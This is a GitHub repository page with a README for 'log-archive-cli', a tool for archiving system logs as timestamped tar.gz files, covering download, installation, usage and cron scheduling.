Skip to content

πŸ—„οΈ Archive system logs securely with this lightweight CLI tool, designed for Unix systems and Docker, featuring timestamped `.tar.gz` archives.

License

Notifications You must be signed in to change notification settings

Vusalibrahim/log-archive-cli

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🌐 log-archive-cli - Simple Tool for Archiving Logs Easily

Download log-archive-cli

πŸš€ Getting Started

Welcome to log-archive-cli! This is a lightweight and secure command-line tool designed to help you archive system logs effortlessly. It adds timestamps to your logs for easier management and review.

πŸ“¦ Features

  • Lightweight: Minimal system resource usage.
  • Secure: Keeps your logs safe with built-in protections.
  • Easy to Use: Designed for users with no programming experience.
  • Timestamping: Automatically adds timestamps to your archived logs for easy identification.
  • Cross-Platform: Works well on various Linux distributions, especially Alpine Linux.
  • Automated Management: Set it to run in the background using cron jobs for regular archiving.

πŸ“‹ System Requirements

To run log-archive-cli, you need:

  • Operating System: A Linux-based OS (preferably Alpine Linux).
  • Shell: Bash is required to execute scripts.
  • Disk Space: At least 50 MB free for the application and logs.
  • Docker (Optional): If you wish to run the tool in a containerized environment.

πŸ’» Download & Install

To get started with log-archive-cli, visit this page to download:

Download log-archive-cli Releases

  1. Open the link in your web browser.
  2. You will see different versions of the software listed.
  3. Choose the latest version and download the file that fits your system.

βš™οΈ Installation Instructions

  1. Extract Files: Once the file is downloaded, extract it to your preferred directory.

    tar -xzf log-archive-cli-v1.0.tar.gz
  2. Navigate to the Directory: Change to the directory where you extracted the files.

    cd log-archive-cli
  3. Make Executable: You need to make the application executable.

    chmod +x log-archive-cli
  4. Run the Tool: Execute the tool using the following command:

    ./log-archive-cli

πŸ”§ Usage

This tool is simple to use. Once you run it, you can archive logs from your specified directory.

./log-archive-cli /path/to/logs 

Replace /path/to/logs with the directory where your logs are located.

By default, archived logs will be stored in the same directory with timestamps added to their names.

πŸ› οΈ Advanced Features

For advanced users, log-archive-cli supports integration with cron jobs. This way, you can automate the log archiving process.

Setting Up a Cron Job

  1. Open your crontab configuration.

    crontab -e
  2. Add a line for log archiving, for example, to run it daily at midnight:

    0 0 * * * /path/to/log-archive-cli /path/to/logs

Replace /path/to/log-archive-cli with the full path to your executable.

πŸ“ FAQ

Can I use this on any Linux distribution?

Yes, although it is optimized for Alpine Linux, you can run it on most Linux distributions.

Do I need to run this as a superuser?

No, you can run log-archive-cli as a regular user, provided you have access to the logs you want to archive.

How can I uninstall the tool?

Simply delete the directory where you extracted log-archive-cli. There’s no installation conflict.

πŸ§‘β€πŸ€β€πŸ§‘ Community and Support

Feel free to reach out to our community for any questions or support.

🌐 Connect with Us

Stay updated by following our repository. Together, we make log management simple and efficient.

For more details, visit our GitHub Releases page.

Download log-archive-cli

About

πŸ—„οΈ Archive system logs securely with this lightweight CLI tool, designed for Unix systems and Docker, featuring timestamped `.tar.gz` archives.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •